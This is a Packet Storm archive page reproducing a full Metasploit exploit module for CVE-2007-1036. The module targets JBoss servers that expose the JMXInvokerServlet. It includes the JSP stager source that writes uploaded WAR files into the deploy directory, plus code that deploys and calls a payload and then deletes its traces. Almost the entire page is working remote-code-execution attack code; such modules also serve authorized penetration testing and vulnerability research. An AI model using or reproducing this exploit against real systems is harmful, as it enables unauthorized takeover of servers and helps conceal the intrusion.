Lucene search

K
packetstormPatrick HofPACKETSTORM:116241
HistorySep 05, 2012 - 12:00 a.m.

JBoss DeploymentFileRepository WAR Deployment

2012-09-0500:00:00
Patrick Hof
packetstormsecurity.com
29

0.971 High

EPSS

Percentile

99.7%

`require 'msf/core'  
  
  
class Metasploit4 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
HttpFingerprint = { :pattern => [ /JBoss/ ] }  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'JBoss DeploymentFileRepository WAR Deployment (via JMXInvokerServlet)',  
'Description' => %q{  
This module can be used to execute a payload on JBoss servers that have an  
exposed HTTPAdaptor's JMX Invoker exposed on the "JMXInvokerServlet". By invoking  
the methods provided by jboss.admin:DeploymentFileRepository a stager is deployed  
to finally upload the selected payload to the target. The DeploymentFileRepository  
methods are only available on Jboss 4.x and 5.x.  
},  
'Author' => [  
'Patrick Hof', # Vulnerability discovery, analysis and PoC  
'Jens Liebchen', # Vulnerability discovery, analysis and PoC  
'h0ng10' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2007-1036' ],  
[ 'OSVDB', '33744' ],  
[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],  
],  
'DisclosureDate' => 'Feb 20 2007',  
'Privileged' => true,  
'Platform' => ['java', 'win', 'linux' ],  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'Targets' =>  
[  
  
# do target detection but java meter by default  
[ 'Automatic',  
{  
'Arch' => ARCH_JAVA,  
'Platform' => 'java'  
}  
],  
  
[ 'Java Universal',  
{  
'Arch' => ARCH_JAVA,  
},  
],  
  
#  
# Platform specific targets  
#  
[ 'Windows Universal',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'win'  
},  
],  
  
[ 'Linux x86',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'linux'  
},  
],  
],  
  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),  
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),  
OptString.new('TARGETURI', [ true, 'The URI path of the invoker servlet', '/invoker/JMXInvokerServlet' ]),  
], self.class)  
  
end  
  
def check  
res = send_serialized_request('version.bin')  
if (res.nil?) or (res.code != 200)  
print_error("Unable to request version, returned http code is: #{res.code.to_s}")  
return Exploit::CheckCode::Unknown  
end  
  
# Check if the version is supported by this exploit  
return Exploit::CheckCode::Vulnerable if res.body =~ /CVSTag=Branch_4_/  
return Exploit::CheckCode::Vulnerable if res.body =~ /SVNTag=JBoss_4_/  
return Exploit::CheckCode::Vulnerable if res.body =~ /SVNTag=JBoss_5_/  
  
if res.body =~ /ServletException/ # Simple check, if we caused an exception.  
print_status("Target seems vulnerable, but the used JBoss version is not supported by this exploit")  
return Exploit::CheckCode::Appears  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
mytarget = target  
  
if (target.name =~ /Automatic/)  
mytarget = auto_target  
fail_with("Unable to automatically select a target") if not mytarget  
print_status("Automatically selected target: \"#{mytarget.name}\"")  
else  
print_status("Using manually select target: \"#{mytarget.name}\"")  
end  
  
  
# We use a already serialized stager to deploy the final payload  
regex_stager_app_base = rand_text_alpha(14)  
regex_stager_jsp_name = rand_text_alpha(14)  
name_parameter = rand_text_alpha(8)  
content_parameter = rand_text_alpha(8)  
stager_uri = "/#{regex_stager_app_base}/#{regex_stager_jsp_name}.jsp"  
stager_code = "A" * 810 # 810 is the size of the stager in the serialized request  
  
replace_values = {  
'regex_app_base' => regex_stager_app_base,  
'regex_jsp_name' => regex_stager_jsp_name,  
stager_code => generate_stager(name_parameter, content_parameter)  
}  
  
print_status("Deploying stager")  
send_serialized_request('installstager.bin', replace_values)  
print_status("Calling stager: #{stager_uri}")  
call_uri_mtimes(stager_uri, 5, 'GET')  
  
# Generate the WAR with the payload which will be uploaded through the stager  
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))  
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))  
  
war_data = payload.encoded_war({  
:app_name => app_base,  
:jsp_name => jsp_name,  
:arch => mytarget.arch,  
:platform => mytarget.platform  
}).to_s  
  
b64_war = Rex::Text.encode_base64(war_data)  
print_status("Uploading payload through stager")  
res = send_request_cgi({  
'uri' => stager_uri,  
'method' => "POST",  
'vars_post' =>  
{  
name_parameter => app_base,  
content_parameter => b64_war  
}  
}, 20)  
  
payload_uri = "/#{app_base}/#{jsp_name}.jsp"  
print_status("Calling payload: " + payload_uri)  
res = call_uri_mtimes(payload_uri,5, 'GET')  
  
# Remove the payload through stager  
print_status("Removing payload through stager")  
delete_payload_uri = stager_uri + "?#{name_parameter}=#{app_base}"  
res = send_request_cgi(  
{'uri' => delete_payload_uri,  
})  
  
# Remove the stager  
print_status("Removing stager")  
send_serialized_request('removestagerfile.bin', replace_values)  
send_serialized_request('removestagerdirectory.bin', replace_values)  
  
handler  
end  
  
def generate_stager(name_param, content_param)  
war_file = rand_text_alpha(4+rand(4))  
file_content = rand_text_alpha(4+rand(4))  
jboss_home = rand_text_alpha(4+rand(4))  
decoded_content = rand_text_alpha(4+rand(4))  
path = rand_text_alpha(4+rand(4))  
fos = rand_text_alpha(4+rand(4))  
name = rand_text_alpha(4+rand(4))  
file = rand_text_alpha(4+rand(4))  
  
stager_script = <<-EOT  
<%@page import="java.io.*,  
java.util.*,  
sun.misc.BASE64Decoder"  
%>  
<%  
String #{file_content} = "";  
String #{war_file} = "";  
String #{jboss_home} = System.getProperty("jboss.server.home.dir");  
if (request.getParameter("#{content_param}") != null){  
try {  
#{file_content} = request.getParameter("#{content_param}");  
#{war_file} = request.getParameter("#{name_param}");  
byte[] #{decoded_content} = new BASE64Decoder().decodeBuffer(#{file_content});  
String #{path} = #{jboss_home} + "/deploy/" + #{war_file} + ".war";  
FileOutputStream #{fos} = new FileOutputStream(#{path});  
#{fos}.write(#{decoded_content});  
#{fos}.close();  
}  
catch(Exception e) {}  
}  
else {  
try{  
String #{name} = request.getParameter("#{name_param}");  
String #{file} = #{jboss_home} + "/deploy/" + #{name} + ".war";  
new File(#{file}).delete();  
}  
catch(Exception e) {}  
}  
  
%>  
EOT  
  
# The script must be exactly 810 characters long, otherwise we might have serialization issues  
# Therefore we fill the rest wit spaces  
spaces = " " * (810 - stager_script.length)  
stager_script << spaces  
end  
  
  
def send_serialized_request(file_name , replace_params = {})  
path = File.join( Msf::Config.install_root, "data", "exploits", "jboss_jmxinvoker", "DeploymentFileRepository", file_name)  
data = File.open( path, "rb" ) { |fd| data = fd.read(fd.stat.size) }  
  
replace_params.each { |key, value| data.gsub!(key, value) }  
  
res = send_request_cgi({  
'uri' => target_uri.path,  
'method' => 'POST',  
'data' => data,  
'headers' =>  
{  
'ContentType:' => 'application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation',  
'Accept' => 'text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2'  
}  
}, 25)  
  
  
if (not res) or (res.code != 200)  
print_error("Failed: Error requesting preserialized request #{file_name}")  
return nil  
end  
  
res  
end  
  
  
def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil)  
# JBoss might need some time for the deployment. Try 5 times at most and  
# wait 5 seconds inbetween tries  
num_attempts.times do |attempt|  
if (verb == "POST")  
res = send_request_cgi(  
{  
'uri' => uri,  
'method' => verb,  
'data' => data  
}, 5)  
else  
uri += "?#{data}" unless data.nil?  
res = send_request_cgi(  
{  
'uri' => uri,  
'method' => verb  
}, 30)  
end  
  
msg = nil  
if (!res)  
msg = "Execution failed on #{uri} [No Response]"  
elsif (res.code < 200 or res.code >= 300)  
msg = "http request failed to #{uri} [#{res.code}]"  
elsif (res.code == 200)  
print_status("Successfully called '#{uri}'") if datastore['VERBOSE']  
return res  
end  
  
if (attempt < num_attempts - 1)  
msg << ", retrying in 5 seconds..."  
print_status(msg) if datastore['VERBOSE']  
select(nil, nil, nil, 5)  
else  
print_error(msg)  
return res  
end  
end  
end  
  
  
def auto_target  
print_status("Attempting to automatically select a target")  
  
plat = detect_platform()  
arch = detect_architecture()  
  
return nil if (not arch or not plat)  
  
# see if we have a match  
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }  
  
# no matching target found  
return nil  
end  
  
  
# Try to autodetect the target platform  
def detect_platform  
print_status("Attempting to automatically detect the platform")  
res = send_serialized_request("osname.bin")  
  
if (res.body =~ /(Linux|FreeBSD|Windows)/i)  
os = $1  
if (os =~ /Linux/i)  
return 'linux'  
elsif (os =~ /FreeBSD/i)  
return 'linux'  
elsif (os =~ /Windows/i)  
return 'win'  
end  
end  
nil  
end  
  
  
# Try to autodetect the architecture  
def detect_architecture()  
print_status("Attempting to automatically detect the architecture")  
res = send_serialized_request("osarch.bin")  
if (res.body =~ /(i386|x86)/i)  
arch = $1  
if (arch =~ /i386|x86/i)  
return ARCH_X86  
# TODO, more  
end  
end  
nil  
end  
end  
`

0.971 High

EPSS

Percentile

99.7%